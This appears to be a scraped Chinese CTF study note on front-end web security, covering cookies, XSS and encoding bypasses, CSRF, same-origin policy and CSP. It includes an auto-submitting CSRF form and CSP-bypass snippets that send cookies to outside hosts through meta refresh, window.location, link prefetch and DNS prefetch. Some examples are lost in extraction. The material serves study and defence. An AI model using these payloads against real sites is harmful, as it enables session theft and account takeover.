CTF | Web安全 Part2:前端

01 XSS攻击与防御

一、Cookie

定义

Cookie是指某些网站为了辨别用户身份而存储在客户端上的数据(通常经过加密)。也就是说,只要有了某个用户的cookie,就能以他的身份登录。

获取Cookie

浏览器端(客户端):document.cookie
服务器端(PHP):$_COOKIE

存储位置

Chrome
Windows下:C:\Users\jay\AppData\Local\Google\Chrome\UserData\Default\Cookies

属性

SESSION=xxxxxxxxx;expires=Thu,27 Feb 2017 05:21:00 GMT;domain=www.xxx.com;path=/;HttpOnly;secure;SameSite=Strict

Name:Cookie的名字
Value:Cookie的值
Domain:该Cookie属于哪个域,只有这个域和其子域能获取该Cookie
Path:Cookie所属路径,只有这个路径和其下级目录能获取该Cookie
Expires/Max-Age:Cookie的实效时间
Size:Cookie的值得长度
HttpOnly:如果设置了该值,则Cookie不能被JS读取
Secure:该Cookie仅能由HTTPS协议传输
SameSite:用于定义cookie如何跨域发送,可以防止CSRF攻击

domain和path

  • 发生跨域xhr请求时,即使请求URL的域名和路径都满足cookie的domain和path,默认情况下cookie也不会自动被添加到请求头部中。
  • domain是可以设置为页面本身的域名(本域),或页面本身域的父域,但不能是公共后缀public suffix。举例说明:如果页面域名为www.baidu.com,domain可以设置为“www.baidu.com”,“baidu.com”,但不能设置为“.com”或“com”。

类别

  • 硬盘Cookie:
    设置了失效时间
  • 内存Cookie:
    未设置失效时间

二、XSS漏洞介绍

XSS指的是恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入Web里面的JS代码会被执行,从而达到恶意的特殊目的。

POC

EXPLOIT

三、XSS漏洞类型

  • 反射型
  • 存储型
  • DOM型

四、 XSS危害

  • 窃取信息

    • Cookie
    • CSRF Token
    • password字段
  • XSS蠕虫

  • 命令执行

    • 特权域XSS—WooYun-2016-170984
    • 沙盒绕过—CVE-2017-12581

五、XSS与字符编码

HTML实体编码

例如左尖括号(<)编码:html十进制:<
html十六进制:<
字符实体:<;(不是所有字符都有)

JavaScript编码

例如左尖括号(<)编码:js八进制:\74;
js十六进制:\x3c;
jsunicode:\u003c

URL编码

例如左尖括号(<)编码:%3C

六、字符编码与绕过

HTML实体编码

DOM元素的属性值会自动HTML解码


解码后


JS编码

eval中的参数可以JS编码


解码后


URL编码

后端对用户输入进行URL解码时可以利用


前端传入URL编码后的字符串,可以绕过某些限制

%3Cscript%3Ealert%281%29%3C/script%3E

页面编码

有的时候,对于我们所提交的内容,目标站点不会将其转换为HTML实体";,而是会将其转义为",这样的转义同样会导致我们闭合失败,然而,在网页为GBK等编码下,事情却有了转机。

  • GBK编码第一字节(高字节)的范围为:0x81-0xFE
  • GBK编码第二字节(低字节)的范围为:0x40-0x7E、0x80-0xFE

\符号的十六进制为0x5C,刚好处在GBK的低字节中,如果前面有一个高字节(如%c0),那么恰好会被组合成一个合法的字符,从而\被吃掉,双引号逃逸出来。

七、XSS漏洞挖掘

寻找常见的输入点

  • 留言板、评论框(存储型)

  • 搜索型(反射型)

  • 个人资料修改(存储型、Self-XSS)

测试字符过滤情况

一般测试<>""\/&#''

定位输出点

标签属性值中、js代码中、标签内

可以利用的标签


click





</plaintext>
</code></pre> 
 <h3>一些trick</h3> 
 <ul> 
  <li><p>url中协议头可去掉,如//example.com(http),\\example(https,linux)</p></li> 
  <li><p>过滤<code>;</code>,用换行</p></li> 
  <li><p>HTML实体编码中,<code>;</code>可以去掉,例如&#60,不需要<code>;</code></p></li> 
  <li><p>可以利用拼接一个eval函数执行代码,例如<code>"a"+eval("alert(1)")</code></p></li> 
  <li> <p>ip可以用10进制或者16进制表示</p> <h3>XSS防御</h3> </li> 
  <li><p>浏览器自带的XSS防御</p></li> 
  <li><p>过滤</p></li> 
  <li><p>转义和编码</p></li> 
  <li><p>HttpOnly</p></li> 
 </ul> 
 <h3>XSS平台</h3> 
 <p>http://xsspt.com/<br> http://ceye.io/</p> 
 <h1>02 CSRF攻击与防御</h1> 
 <h2>一、CSRF介绍</h2> 
 <h3>GET型攻击</h3> 
 <p><strong>攻击者</strong>——>构造CSRF请求链接——><strong>受害者</strong>——>点击链接,个人信息被修改</p> 
 <h3>POST型攻击</h3> 
 <p><strong>攻击者伪造自动发送请求的页面</strong>——>发送页面链接——><strong>受害者</strong>——>点击链接,个人信息被修改</p> 
 <h3>攻击方式(伪造请求)</h3> 
 <pre><code class="php+HTML"><form action="http://victim.com/modify.php" method="POST">
    <input type="text" name="username" value="hacker">
    <input type="text" name="phone" value="12345678">
    <input type="text" name="password" value="123456">
</form>
<script>
    document.forms[0].submit();
</script>
</code></pre> 
 <h3>攻击方式(JSON)</h3> 
 <p>form表单无法发送json格式的请求,然而可以利用307跳转<br> 307跳转可以不改变请求主体,只改变请求目标</p> 
 <ol> 
  <li>首先在自己服务器上放一个页面main.html,这个页面包含一个flash文件,这个flash文件可以发送json请求</li> 
  <li>再在服务器上放一个307.php,这个文件可以跳转到CSRF目标站点</li> 
  <li>访问main.html,即可CSRF</li> 
 </ol> 
 <h2>二、CSRF防御</h2> 
 <h3>验证码</h3> 
 <p>后端对提交的验证码做校验,验证码不正确则请求失败</p> 
 <h3>添加token</h3> 
 <p>在请求参数中添加一个token参数,这个token的值要保证无法被攻击者预测(例如每次请求随机一遍,或者每个用户都有唯一的token)</p> 
 <h3>验证Referer</h3> 
 <p>Referer表示一个请求的来源页面。如果是一个CSRF的请求,那么CSRF要么为空(GET),要么为攻击者的网站(POST)</p> 
 <h1>03 同源策略</h1> 
 <h2>一、源</h2> 
 <p>源(origin)就是协议、域名和端口号。</p> 
 <p>http://www.example.com:80</p> 
 <h2>二、同源策略</h2> 
 <h3>Cookie</h3> 
 <p>Cookie的两个属性<strong>domain</strong>和<strong>path</strong>与同源策略有关<br> 例如对于下面的一条Cookie:<br> Cookiename=cookievalue;domain=a.com;path=/admin;</p> 
 <p>那么只有a.com或者其子域(例如sub.a.com),并且/admin及其子目录下的页面可以可以读取到该Cookie的值</p> 
 <h3>iframe</h3> 
 <p>和父窗口的源不同的iframe的DOM树不能被JavaScript读取,也不能被修改</p> 
 <h3>子域</h3> 
 <p>例如sub.a.com就是a.com的子域</p> 
 <p>子域可以将自己的domain设置成主域<br> <code>document.doamin='a.com';</code><br> 然后sub.a.com和a.com就可以访问彼此页面的cookie了。同理,在iframe中这样设置也能互相读取彼此的DOM树了。</p> 
 <p>此外,例如有个sub2.a.com,如果它也将document.doamin设置为a.com那么它和sub.a.com也就同源了。<br> 但是需要注意的是,document.domain='com'这样直接设置到顶级域是不允许的</p> 
 <h3>Ajax</h3> 
 <p>Ajax请求可以跨域发送,但是域不同的时候不携带Cookie,并且无法获取响应内容</p> 
 <h2>三、跨域方式</h2> 
 <h3>CORS(跨域资源共享)</h3> 
 <p>为了实现不同网站之间的通信,浏览器实现了一种共享资源的方式。<br> 例如a.com要获取b.com的内容,那么就要在a.com的页面中设置CORS头部</p> 
 <pre><code class="php+HTML">header('Access-Control-Allow-Origin:http://b.com');
header('Access-Control-Allow_Origin:*');
</code></pre> 
 <h3>window.name</h3> 
 <p>iframe和window.name结合可以实现跨域传输,即使父窗口和子窗口的源不同,也可以获取window.name的值</p> 
 <pre><code class="javascript"><script>
    function getData(){
    var iframe = document.getElementById('ifr');
    iframe.onload = function(){
        var data = iframe.contentWindow.name;
    }
    iframe.src = 'b.html';
}
</script>
</code></pre> 
 <h3>Jsonp</h3> 
 <pre><code class="javascript"><script>
    function _callback(s){
    alert(JSON.stringify(s));
}
</script>
<script src="http://example.com/json.php?cb=_callback"></script>
</code></pre> 
 <p><code>http://example.com/json.php?cb=_callback</code>的响应结果类似:</p> 
 <p><code>__Jquery({"id":1,"content":"hello"})</code></p> 
 <p>原理是script标签可以跨域请求(类似的还有img等),这里jsonp请求获取到的是一串js代码,一般是一个函数调用,参数就是想要跨域获取的数据,而函数的实现在发起请求的页面中。<br> 获取完毕后,调用该函数,即可获取数据并进行后续处理。</p> 
 <h1>04 CSP</h1> 
 <h2>一、什么是CSP</h2> 
 <p>CSP(内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本和数据注入攻击等。</p> 
 <h3>CSP部署位置</h3> 
 <ol> 
  <li>HTTP响应头部名为Content-Security-Policy的字段</li> 
  <li>页面中的meta标签</li> 
 </ol> 
 <h3>例子</h3> 
 <p><code>Content-Security-Policy:default-src'self';script-src'axample.com'</code></p> 
 <p>一个CSP策略有多组指令构成,中间以分号间隔<br> 例如,上面的策略有两组指令,含义如下:<br> <code>default-src'self'</code> 元素的默认来源只能是当前页面<br> <code>script-src'example.com'</code> script标签只能来源于'example.com'</p> 
 <h2>二、CSP策略指令</h2> 
 <p>default-src指令定义了那些没有被更精确指令指定的安全策略。<br> default-src</p> 
 <h2>三、CSP内容原</h2> 
 <p>CSP中的内容原有三种:源列表、关键字和数据</p> 
 <h3>源列表</h3> 
 <p>源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的 URL 协议和/或端口号。站点地址可以包含可选的通配符前缀 (星号, <code>'*'</code>),端口号也可以使用通配符 (同样是 <code>'*'</code>) 来表明所有合法端口都是有效来源。主机通过空格分隔。</p> 
 <p>有效的主机表达式包括:</p> 
 <ul> 
  <li> <p>http://*.foo.com</p> <p>匹配所有使用 <code>http:</code> 协议加载 foo.com 任何子域名的尝试。</p> </li> 
  <li> <p>mail.foo.com:443</p> <p>匹配所有访问 mail.foo.com 的 443 端口 的尝试。</p> </li> 
  <li> <p>https://store.foo.com</p> <p>匹配所有使用 <code>https:</code> 协议访问 store.foo.com 的尝试。</p> </li> 
 </ul> 
 <p>如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。</p> 
 <h3>关键字</h3> 
 <p>有一些关键字可以用来描述某类特别的内容源。它们是:</p> 
 <ul> 
  <li> <p><code>'none'</code></p> <p>代表空集;即不匹配任何 URL。两侧单引号是必须的。</p> </li> 
  <li> <p><code>'self'</code></p> <p>代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。</p> </li> 
  <li> <p><code>'unsafe-inline'</code></p> <p>允许使用内联资源,如内联的 <code>](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/script) 元素、`javascript:` URL、内联的事件处理函数和内联的 [</code> 元素。两侧单引号是必须的。</p> </li> 
  <li> <p><code>'unsafe-eval'</code></p> <p>允许使用 <code>eval()</code> 等通过字符串创建代码的方法。两侧单引号是必须的。</p> </li> 
 </ul> 
 <h3>数据</h3> 
 <ul> 
  <li> <p>data:</p> <p>允许 <code>data:</code> URI 作为内容来源。这是不安全的,因为攻击者可以精心构造 data: URI 来攻击。请谨慎地使用这个源,并确保不要用于脚本。</p> </li> 
  <li> <p>mediastream:</p> <p>允许 <code>mediastream:</code> URI 作为内容源。</p> </li> 
 </ul> 
 <pre><code>Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
</code></pre> 
 <h2>四、CSP绕过</h2> 
 <h3>url跳转</h3> 
 <p>在default-src 'none'的情况下,可以使用meta标签实现跳转</p> 
 <pre><code><meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
</code></pre> 
 <p>在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。</p> 
 <pre><code><script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
</code></pre> 
 <h3>标签预加载</h3> 
 <p>CSP对link标签的预加载功能考虑不完善。<br> 在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)</p> 
 <pre><code><link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
</code></pre> 
 <p>在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie</p> 
 <pre><code><link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
</code></pre> 
 <h3>利用浏览器补全</h3> 
 <p>有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:</p> 
 <pre><code>Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
</code></pre> 
 <p>那么当脚本插入点为如下的情况时</p> 
 <pre><code><p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
</code></pre> 
 <p>可以插入</p> 
 <pre><code><script src=//14.rs a="
</code></pre> 
 <p>这样会拼成一个新的script标签,其中的src可以自由设定</p> 
 <pre><code><p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
</code></pre> 
 <h3>iframe</h3> 
 <p>1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:</p> 
 <pre><code><iframe src="B"></iframe>
</code></pre> 
 <p>2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。</p> 
 <pre><code><iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
</code></pre> 
</article>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1275200485908824064"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(CTF | Web安全 Part2:前端)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1891959043426152448.htm"
                           title="请解释设备像素、CSS 像素、设备独立像素、DPR、PPI 之间的区别 ?" target="_blank">请解释设备像素、CSS 像素、设备独立像素、DPR、PPI 之间的区别 ?</a>
                        <span class="text-muted">程序员黄同学</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/1.htm">前端开发</a><a class="tag" taget="_blank" href="/search/Java%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">Java面试题</a><a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>一、核心概念解释1.设备像素(PhysicalPixel)定义:屏幕物理发光点的最小单位,硬件决定不可变。例如iPhone12的屏幕分辨率2532×1170表示横向2532个物理像素点。特点:不同设备物理像素密度不同,高密度屏幕(如Retina)单位面积像素更多。2.CSS像素(CSSPixel)定义:前端开发中使用的逻辑像素单位,如width:300px。浏览器根据DPR自动换算为物理像素。特点</div>
                    </li>
                    <li><a href="/article/1891942406304100352.htm"
                           title="防重复提交思路" target="_blank">防重复提交思路</a>
                        <span class="text-muted">harmful_sheep</span>
<a class="tag" taget="_blank" href="/search/springboot/1.htm">springboot</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>本文将从以下几个方面展开:(1)重复提交产生的原因(2)什么是幂等性(3)针对重复提交,前后端的解决方案(4)如果实现一个防重复提交工具产生原因由于重复点击或者网络重发eg:点击提交按钮两次;点击刷新按钮;使用浏览器后退按钮重复之前的操作,导致重复提交表单;使用浏览器历史记录重复提交表单;浏览器重复的HTTP请求;nginx重发等情况;分布式RPC的try重发等;主要有2个部分:(1)前端用户操作</div>
                    </li>
                    <li><a href="/article/1891933572399427584.htm"
                           title="html5 二进制数据解析,JavaScript读写二进制数据的方法详解" target="_blank">html5 二进制数据解析,JavaScript读写二进制数据的方法详解</a>
                        <span class="text-muted">如果有片海</span>
<a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%95%B0%E6%8D%AE%E8%A7%A3%E6%9E%90/1.htm">二进制数据解析</a>
                        <div>前言二进制是计算技术中广泛采用的一种数制。二进制数据是用0和1两个数码来表示的数,如果想要在前端中处理音频和视频。那你必须要对二进制数据有很好地掌握和操作能力。下面话不多说了,来一起看看详细介绍的吧类型化数组的出现类型化数组是HTML5中引入的API,它能够让开发者使用JavaScript直接操作二进制数据。在类型化数组出现之前,我们是无法直接通过JavaScript操作二进制数据,通常都是操作J</div>
                    </li>
                    <li><a href="/article/1891924486438055936.htm"
                           title="前端如何播放二进制音频数据" target="_blank">前端如何播放二进制音频数据</a>
                        <span class="text-muted">尼古拉斯网页匠</span>
<a class="tag" taget="_blank" href="/search/%E9%9F%B3%E8%A7%86%E9%A2%91/1.htm">音视频</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/react.js/1.htm">react.js</a>
                        <div>音频数据播放数据consttryListen=async(row)=>{awakenPlay(row.sid).then((res)=>{//请求接口,拿到二进制音频数据constbinaryData=atob(res.data);//将二进制数据转换为Uint8ArrayconstbyteArray=newUint8Array(binaryData.length);for(leti=0;i<bi</div>
                    </li>
                    <li><a href="/article/1891913254796587008.htm"
                           title="SQL注入技术详解与过滤绕过方法" target="_blank">SQL注入技术详解与过滤绕过方法</a>
                        <span class="text-muted">Cyc1e</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/web/1.htm">web</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                        <div>SQL注入技术详解与过滤绕过方法1.什么是SQL注入?SQL注入(SQLInjection)是一种常见的Web安全漏洞,指攻击者将恶意的SQL代码插入到应用程序的输入字段中,并通过应用程序发送到数据库进行执行,进而对数据库进行未授权操作。其可能导致敏感数据泄露、篡改、删除等严重后果。1.1SQL注入的工作原理SQL注入的核心在于,攻击者通过操控输入字段,使服务器端的SQL查询语句发生意料之外的变化</div>
                    </li>
                    <li><a href="/article/1891886498446372864.htm"
                           title="设计模式知识点" target="_blank">设计模式知识点</a>
                        <span class="text-muted">芸尚非</span>
<a class="tag" taget="_blank" href="/search/%E7%9F%A5%E8%AF%86%E7%82%B9/1.htm">知识点</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                        <div>设计模式类型创建型设计模式:(创建对象的同时隐藏创建逻辑)工厂模式(FactoryPattern)抽象工厂模式(AbstractFactoryPattern)单例模式(SingletonPattern)建造者模式(BuilderPattern)原型模式(PrototypePattern)结构型设计模式:(关注类和对象的组合)适配器模式(AdapterPattern)桥接模式(BridgePatte</div>
                    </li>
                    <li><a href="/article/1891880690992082944.htm"
                           title="前端面试题" target="_blank">前端面试题</a>
                        <span class="text-muted">阿芯爱编程</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>以下是一些前端面试题:一、HTML/CSS部分请描述HTML的语义化标签的重要性,并列举一些常用的语义化标签。答案:重要性:对搜索引擎优化(SEO)有帮助,搜索引擎能够更好地理解页面结构,从而提高网站在搜索结果中的排名。提高代码的可读性和可维护性,使开发者更容易理解页面布局和功能逻辑。对于辅助技术(如屏幕阅读器)更友好,能够准确地向用户传达页面内容。常用语义化标签::定义页面或区域的头部内容,通常</div>
                    </li>
                    <li><a href="/article/1891878027105726464.htm"
                           title="【linux numa】 NUMA 绑核" target="_blank">【linux numa】 NUMA 绑核</a>
                        <span class="text-muted">Dayu_log</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>1.NUMA的前世今生NUMA(NonUniformMemoryAccess)和UMA(UniformMemoryAccess)是两种CPU相关的硬件架构。在早期的UMA架构中,CPU通过前端总线(FSB,FrontSideBus)连接到北桥芯片,然后北桥芯片连接到内存,即内存控制器集成在北桥芯片中。外部IO设备与南桥芯片相连,南桥芯片与北桥芯片通过内部总线相连。下图为UMA架构图下图为早期的UM</div>
                    </li>
                    <li><a href="/article/1891873861125861376.htm"
                           title="前端高级面试题" target="_blank">前端高级面试题</a>
                        <span class="text-muted">阿芯爱编程</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>以下是一些前端高级面试可能涉及到的内容:一、前端工程化如何构建一个适合大型团队的前端代码规范和构建流程?答案:代码规范方面:使用ESLint结合Prettier来统一JavaScript和CSS(包括预处理器如Sass或Less)的语法风格。例如,规定变量命名采用驼峰命名法,函数名要有明确含义等。对于HTML结构,制定语义化标签的使用规范,如导航栏使用标签,页脚使用标签等。确定组件化的规范,包括组</div>
                    </li>
                    <li><a href="/article/1891850152411459584.htm"
                           title="Vue 实现全球国家国旗的使用,附全球国家的JSON数据" target="_blank">Vue 实现全球国家国旗的使用,附全球国家的JSON数据</a>
                        <span class="text-muted">Song_Estelle</span>
<a class="tag" taget="_blank" href="/search/vue/1.htm">vue</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a>
                        <div>有时在前端展示中需要用到全球国家的国旗图标,我们可以用到flag-icon-css这个插件。1.安装flag-icon-cssnpminstallflag-icon-css2.在main.js中全局引用import'flag-icon-css/css/flag-icons.css'3.在界面中使用换不同的国旗,将flag-icon-后的国家代码换掉就行,国家代码对照表iso-3166-1全球国家名</div>
                    </li>
                    <li><a href="/article/1891849521944653824.htm"
                           title="服务器数据传输协议,详解前端websocket服务器之数据传输协议 前言 服务器发送数据 服务端接受数据 总结..." target="_blank">服务器数据传输协议,详解前端websocket服务器之数据传输协议 前言 服务器发送数据 服务端接受数据 总结...</a>
                        <span class="text-muted">weixin_39980575</span>
<a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE/1.htm">服务器数据传输协议</a>
                        <div>前言上一篇文章我们初步搭建了一个websocket,但是还不能发送和接收数据,这篇文章我们聊一聊它是如何收发数据的。websocket支持文本和二进制的传输,内部是如何接收和发送数据的对使用者来说是不可见的,虽然这不影响使用,但是为了更加深入了解websocket的原理,我们还是有必要一探究竟!我们首先来看一张数据结构的二进制图,如下:如图1,乍一看可能看不懂,我先来解释一下:图1最上面表示的是二</div>
                    </li>
                    <li><a href="/article/1891842321465536512.htm"
                           title="JS(1-69)" target="_blank">JS(1-69)</a>
                        <span class="text-muted">小箌</span>
<a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a>
                        <div>01_JS介绍1.1JS是什么1.JavaScript(是什么?)是一种运行在客户端(浏览器)的编程语言,实现人机交互效果。2.作用(做什么?)网页特效(监听用户的一些行为让网页作出对应的反馈)表单验证(针对表单数据的合法性进行判断)数据交互(获取后台的数据,渲染到前端服务端编程(node.js)3.JavaScript的组成(有什么?)ECMAScript:规定了js基础语法核心知识。口比如:变</div>
                    </li>
                    <li><a href="/article/1891841060418678784.htm"
                           title="关于前端产品在低代码上的探索:解锁中台架构的更多可能" target="_blank">关于前端产品在低代码上的探索:解锁中台架构的更多可能</a>
                        <span class="text-muted">代码简单说</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E4%BD%8E%E4%BB%A3%E7%A0%81/1.htm">低代码</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                        <div>撮合前端平台在低代码平台上的落地探索:解锁中台架构的更多可能前言在当前技术高速发展的环境中,中台架构的应用早已成为大规模企业的常态,尤其是在拥有多业务线的公司。中台不仅简化了跨部门协作的流程,还提高了业务的响应速度和创新能力。这种架构的核心在于复用已有能力,实现快速上线和低成本运维。然而,前端业务高度依赖用户需求的变化,需要更灵活的动态能力,因此构建一个灵活的“前端中台”成为我们新的探索方向。在撮</div>
                    </li>
                    <li><a href="/article/1891837531234824192.htm"
                           title="BUUCTF 逆向工程(reverse)之Java逆向解密" target="_blank">BUUCTF 逆向工程(reverse)之Java逆向解密</a>
                        <span class="text-muted">若丶时光破灭</span>
<a class="tag" taget="_blank" href="/search/CTF-%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/1.htm">CTF-逆向工程</a><a class="tag" taget="_blank" href="/search/CTF/1.htm">CTF</a><a class="tag" taget="_blank" href="/search/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/1.htm">逆向工程</a>
                        <div>程序员小张不小心弄丢了加密文件用的秘钥,已知还好小张曾经编写了一个秘钥验证算法,聪明的你能帮小张找到秘钥吗?注意:得到的flag请包上flag{}提交下载好题目后,发现它是个以.class为后缀的。所以用JD-GUI打开这个文件。就可以看到Java代码importjava.util.ArrayList;importjava.util.Scanner;publicclassReverse{publi</div>
                    </li>
                    <li><a href="/article/1891829193814110208.htm"
                           title="C++中的23种设计模式" target="_blank">C++中的23种设计模式</a>
                        <span class="text-muted">沉夢志昂丶</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B%E7%9A%84%E8%87%AA%E6%88%91%E6%95%91%E8%B5%8E/1.htm">C++的自我救赎</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E4%BA%AB/1.htm">分享</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>目录摘要创建型模式1.工厂方法模式(FactoryMethodPattern)2.抽象工厂模式(AbstractFactoryPattern)3.单例模式(SingletonPattern)4.生成器模式(BuilderPattern)5.原型模式(PrototypePattern)结构型模式1.适配器模式(AdapterPattern)2.桥接模式(BridgePattern)3.组合模式(Co</div>
                    </li>
                    <li><a href="/article/1891823144788881408.htm"
                           title="成功撒花特效" target="_blank">成功撒花特效</a>
                        <span class="text-muted">吉吉安</span>
<a class="tag" taget="_blank" href="/search/css%E7%89%B9%E6%95%88/1.htm">css特效</a><a class="tag" taget="_blank" href="/search/%E6%92%92%E8%8A%B1%E7%89%B9%E6%95%88/1.htm">撒花特效</a><a class="tag" taget="_blank" href="/search/%E6%92%92%E8%8A%B1%E5%8A%A8%E7%94%BB/1.htm">撒花动画</a><a class="tag" taget="_blank" href="/search/%E6%88%90%E5%8A%9F%E7%89%B9%E6%95%88/1.htm">成功特效</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/1.htm">前端开发</a>
                        <div>基础效果:前端安装并引入canvas-confetti包如有问题请使用满血版DeepSeek/国内直连GPT/Claude解答1.安装npminstall--savecanvas-confetti2.在前端代码中引用importconfettifrom'canvas-confetti';2.在前端代码中使用把下面这个直接放到你的函数里面,调用即可,调用时机由自己控制,比如成功状态或者其他时机con</div>
                    </li>
                    <li><a href="/article/1891800509359124480.htm"
                           title="基于Java毕业设计学术会议论文稿件管理系统源码+系统+mysql+lw文档+部署软件" target="_blank">基于Java毕业设计学术会议论文稿件管理系统源码+系统+mysql+lw文档+部署软件</a>
                        <span class="text-muted">练练科技</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                        <div>基于Java毕业设计学术会议论文稿件管理系统源码+系统+mysql+lw文档+部署软件基于Java毕业设计学术会议论文稿件管理系统源码+系统+mysql+lw文档+部署软件本源码技术栈:项目架构:B/S架构开发语言:Java语言开发软件:ideaeclipse前端技术:Layui、HTML、CSS、JS、JQuery等技术后端技术:JAVA运行环境:Win10、JDK1.8数据库:MySQL5.7</div>
                    </li>
                    <li><a href="/article/1891800126494666752.htm"
                           title="java计算机毕业设计web实验室课表管理系统源码+mysql数据库+系统+lw文档+部署" target="_blank">java计算机毕业设计web实验室课表管理系统源码+mysql数据库+系统+lw文档+部署</a>
